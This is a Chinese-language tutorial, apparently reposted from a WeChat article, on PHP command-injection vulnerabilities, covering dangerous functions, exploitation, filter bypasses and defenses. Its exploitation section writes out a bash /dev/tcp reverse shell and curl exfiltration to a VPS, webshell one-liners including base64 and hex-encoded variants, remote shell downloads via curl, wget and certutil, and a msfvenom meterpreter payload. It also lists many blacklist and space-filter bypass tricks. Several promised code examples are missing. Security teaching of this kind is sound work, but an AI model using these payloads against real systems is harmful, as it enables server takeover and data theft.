1、漏洞简述
命令执行漏洞,指有时应用需要调用一些执行系统命令的函数,如system()、exec()、shell_exec()、eval()、passthru(),代码未对用户的可控参数进行过滤,当用户能控制这些函数中的参数时,就会将恶意系统命令拼接到正常命令中,造成命令执行的攻击。
在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。
命令执行与代码执行漏洞区别
命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令
命令执行&代码执行漏洞危害
可以执行代码、系统命令进行读写文件、反弹shell等操作,拿下服务器,进一步内网渗透等等。
代码执行,文件读取,命令执行的函数都有哪些?
命令执行:
system(), exec(), shellexec(), passthru() ,pcntlexec(), popen(),proc_open()
代码执行:
eval,preg_replace+/e,assert,calluserfunc,calluserfuncarray,create_function
2、漏洞原理
命令执行漏洞的原理是:攻击者通过向应用程序提供恶意输入(如表单数据或 URL 参数),将恶意命令注入到系统命令中。应用程序在执行命令时,将恶意输入中的命令一同执行,从而导致攻击者可以通过应用程序在系统上执行任意命令。
例如,假设一个Web应用程序中存在以下命令执行漏洞:
攻击者可以通过将 $filename 参数设置为恶意字符串来利用漏洞。例如,如果攻击者将 $filename 设置为 ;ls -la, 那么最终执行的命令将变为 cat ;ls -la,攻击者就可以在服务器上执行 ls 命令,获取服务器上的敏感信息。
2.1 命令执行常用函数
在 PHP 中,一些常用的可以执行系统命令的函数包括:
- system():执行系统命令,并直接输出结果。
- shell_exec():执行系统命令,并返回输出结果。
- exec():执行系统命令,并返回输出结果和执行结果。
- passthru():执行系统命令,并直接输出结果。
- popen():打开一个管道,并执行指定命令。
- proc_open():通过指定命令打开一个进程,并建立管道进行通信。
- pcntl_exec():执行指定的可执行文件,并用该文件替换当前进程。(在 Linux/Unix 系统中执行指定的可执行文件,并替换当前进程。)
- expect_popen():通过 spawn 的方式启动一个进程,并对其进行交互式控制。(使用 Tcl 的 expect 扩展执行交互式命令。)
- dl():装载指定的动态链接库文件,并执行其中的函数。(5.4已经移弃)
- posix_spawn():启动一个新的进程,并指定要执行的程序文件名、命令行参数等。(针对 POSIX 环境)
这些函数都可以用于执行系统命令,但是都存在着安全风险。在编写 PHP 代码时,应该避免使用这些函数或者对用户输入进行严格的验证和过滤,以防止命令注入攻击。
2.3 常用命令执行函数使用示例
1、system()
2、exec()
3、shell_exec()
4、passthru()
5、popen()
6、proc_open()
7、
反引号
3、漏洞利用
3.1 出网测试
1、使用dnslog.cn、ceye.io
原理:反引号的命令会自动执行并返回命令执行的结果拼接到命令里
2、VPS
先在vps处用nc进行监听
nc -l -p 8080 -vvv nc -lvnp 9988
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
3、VPS 开启httpserver 服务
pyhton -m http.server 8888 #pyhton3中启动方式,开启的端口为80
python -m SimpleHTTPServer 8888 #python2启动方式
curl http://vps_ip:8888/`whoami`
3.2 写入Shell
1、查找路径
locate 00000.png 2>/dev/null
find / -name 00000.png 2>/dev/null
find / | grep 00000.png 2>/dev/null
find /var/www/html/ -name "*.php"
| xargs grep "某某网站"
dir /a/b/s c:\xxxxx.jpg
2、常规写入
在有写入权限、知道路径的的情况下,直接写入一句话getshell
echo ' eval($_POST[1]);?>' > /var/www/html/shell.php
set /p="<%execute request("1")%>" > C:\inetpub\wwwroot\shell.asp
echo ^<%execute request("1")%^> > C:\inetpub\wwwroot\shell.asp
3、远程下载写入:
curl http://192.168.1.100/shell.txt >
/var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O
/var/www/html/shell.php
4、远程下载写入:
curl http://192.168.1.100/shell.txt > /var/www/html/shell.php
wget http://192.168.1.120/shell.txt -O /var/www/html/shell.php
certutil -urlcache -split -f http://192.168.1.105:8080/shell.txt C:\inetpub\wwwroot\shell.asp
5、编码方式写入:
echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 -d > /var/www/html/shell.php
echo 3C3F706870206576616C28245F504F53545B315D293B3F3E | xxd -r -ps > /var/www/html/shell.php
更多姿势参考链接:https://www.wangan.com/p/7fy7fxcc831261a2
3.3 反弹Shell
/bin/bash -i >& /dev/tcp/vps_ip/4433 0>&1
3.4 CS/Msf 马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.43.223 LPORT=4444 -f elf -o 1.elf
4、不安全的过滤示例
1、过滤 & | && ||
Linux下可通过; 号绕过
2、过滤空格
<-- 重定向,如cat<flag.php
<>-- 重定向,如cat<>flag.php
%09-- 需要php环境,如cat%09flag.php
${IFS}-- 单纯cat$IFS,IFS被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS}flag.php
$IFS$9-- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS$9flag.php
linux下我们还可以使用大花括号来绕过空格的限制
{ls,-alt}
3、关键字过滤
单引号,双引号、反引号、反斜杠等进行绕过
4、黑名单过滤
通过遗漏的命令进行查看
5、逻辑绕过
这里先用c’a‘t 绕过 cat,绕过看来‘ 的时候,被过滤掉了,这时候剩下cat 。
6、长度限制绕过
这里限制15个字节
如果需要更多长度的话,则需要换行写入
在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行,如下:
d&cat</etc/pass wd
d&echo "ca\\">a
d&echo "t\\">>a
d&echo "<\\">>a
d&echo "/\\">>a
d&echo "e\\">>a
d&echo "t\\">>a
d&echo "c\\">>a
d&echo "/\\">>a
d&echo "p\\">>a
d&echo "a\\">>a
d&echo "s\\">>a
d&echo "s\\">>a
d&echo "w\\">>a
d&echo "d\\">>a
我们进入服务器看看具体代码
5、绕过总结
1、| || & && 的区别
在命令执行上下文中,|、||、& 和 && 是用于控制命令执行的操作符。它们在使用和行为上有所不同:
管道操作符 |:
作用:将前一个命令的输出作为后一个命令的输入,用于连接多个命令的执行结果。
示例:command1 | command2,将 command1 的输出作为 command2 的输入。
逻辑或操作符 ||:
作用:用于在命令执行时,只有前一个命令执行失败(返回非零退出状态码)时才执行后续的命令。
示例:command1 || command2,如果 command1 执行失败,则执行 command2。
后台执行操作符 &:
作用:将命令放在后台执行,即不等待命令执行完成就立即返回,并允许同时执行其他命令。
示例:command &,将 command 放在后台执行。
逻辑与操作符 &&:
作用:用于在命令执行时,只有前一个命令执行成功(返回零退出状态码)时才执行后续的命令。
示例:command1 && command2,如果 command1 执行成功,则执行 command2。
总结:
| 用于将前一个命令的输出传递给后一个命令作为输入。
|| 用于执行后续命令,只有前一个命令执行失败时。
& 用于将命令放在后台执行。
&& 用于执行后续命令,只有前一个命令执行成功时。
在命令执行过滤中,通常会对这些特殊字符进行过滤或转义,以防止恶意命令注入。安全的命令执行应该使用参数化查询或调用安全的命令执行函数,以避免命令执行漏洞的利用。
测试代码:
127.0.0.1 | ipconfig 只输出后面命令
127.0.0.1 || whoami 前面ture的情况下,只输出前面命令
ddd | ipconfig 前面命令错的情况下,只输出后面命令
ddd || ipconfig 前面命令错的情况下,只输出后面命令
127.0.0.1 & whoami 两个都输出
127.0.0.1 && whoami 两个都输出
ddd & whoami 只输出后面命令
ddd && whoami false的情况下,都不输出
2、管道符绕过
windows:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同
3、空格过滤
< -- 重定向,如cat<flag.php
<> -- 重定向,如cat<>flag.php
%09 -- 需要php环境,如cat%09flag.php
${IFS} -- 单纯cat$IFS,IFS被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS$9flag.php
linux下我们还可以使用大花括号来绕过空格的限制
{ls,-alt}
4、黑名单绕过
Windows下
命令拼接
whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行
但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行
可以加任意个"但不能同时连续加2个^ 符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义
set命令
知识点:用两个 % 括起来的变量,会输出变量的值
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
切割字符
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行
set a=abc qwe //先自定义
wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
Linux下
hex绕过
echo 77686F616D69 | xxd -r -p | bash 其中77686F616D69是whoami的hex编码
通配符
常见的通配符
符号 含义
?匹配单个字符如果匹配多个字符,就需要多个?连用
* *代表任意数量的字符
[ ] 代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 可能是 a, b, c, d 这四个任何一个
5、Windows 命令行下用于查看文件的常用命令
1. type:显示文本文件的内容。
2. more:逐页显示文本文件的内容。
3. find:在文本文件中搜索指定的字符串。
4. findstr:在文本文件中使用正则表达式搜索指定的字符串。
5. fc:比较两个文件或文件集的内容并显示差异。
6. more < file:从文件中读取内容并逐页显示。
如果都过滤的情况下可以使用set 设置变量拼接命令的方式进行读取,如下:
6、PowerShell 命令行下查看文件的常用命令
more 文件路径:逐页显示文本文件的内容。
2. type 文件路径:显示文本文件的内容。
3. sls "搜索内容" 文件路径(sls 是 Select-String 的简写):在文本文件中搜索指定的字符串,并输出包含匹配内容的行。
4. gc -TotalCount 行数 文件路径:只显示文本文件的前几行内容。
5. gc -Tail 行数 文件路径:只显示文本文件的最后几行内容。
6. cat 文件路径:显示文本文件的内容。
7. more < 文件路径:从文件中读取内容并逐页显示。
8. sls "搜索内容" < 文件路径:在文本文件中搜索指定的字符串。
9. gc -Raw 文件路径:以原始格式显示文本文件的内容,包括行尾换行符。
7、Linux 命令行下查看文件的常用命令
6、安全建议
对于命令执行漏洞,最好的防御方式是避免使用任何可以执行系统命令的函数。如果不可避免,我们应该尽可能限制用户的输入,确保用户输入的内容符合预期,并且不会被当作命令执行。
- 输入过滤和验证:对于用户输入的命令参数或任何其他用户输入,进行严格的过滤和验证。确保只接受预期的字符和格式,拒绝或移除任何潜在的命令执行字符。
- 参数化查询:对于数据库查询,使用参数化查询或预处理语句,而不是直接拼接用户输入到查询语句中。这样可以防止SQL注入攻击,从而间接防止命令执行漏洞。
- 白名单验证:针对特定的命令或参数,使用白名单验证来限制允许的输入。只允许预定义的安全字符或模式通过验证,拒绝其他字符或模式。
- 禁用危险函数:禁用或限制执行危险的命令执行函数,例如 system()、exec()、shell_exec() 等。只允许执行必要的安全命令。
- 最小特权原则:确保在命令执行时使用最小的权限和权限限制。限制命令执行环境的访问权限,仅允许访问必要的文件和资源。
- 日志记录和监控:记录和监控命令执行操作,包括输入参数和执行结果。这样可以及时发现异常或恶意
以上只是一些常见的防御措施和技术,具体的防御策略还应根据实际需求和安全要求进行定制和实施。
原文链接:https://mp.weixin.qq.com/s/ySgXJUnm_dIr52bSSpRjfQ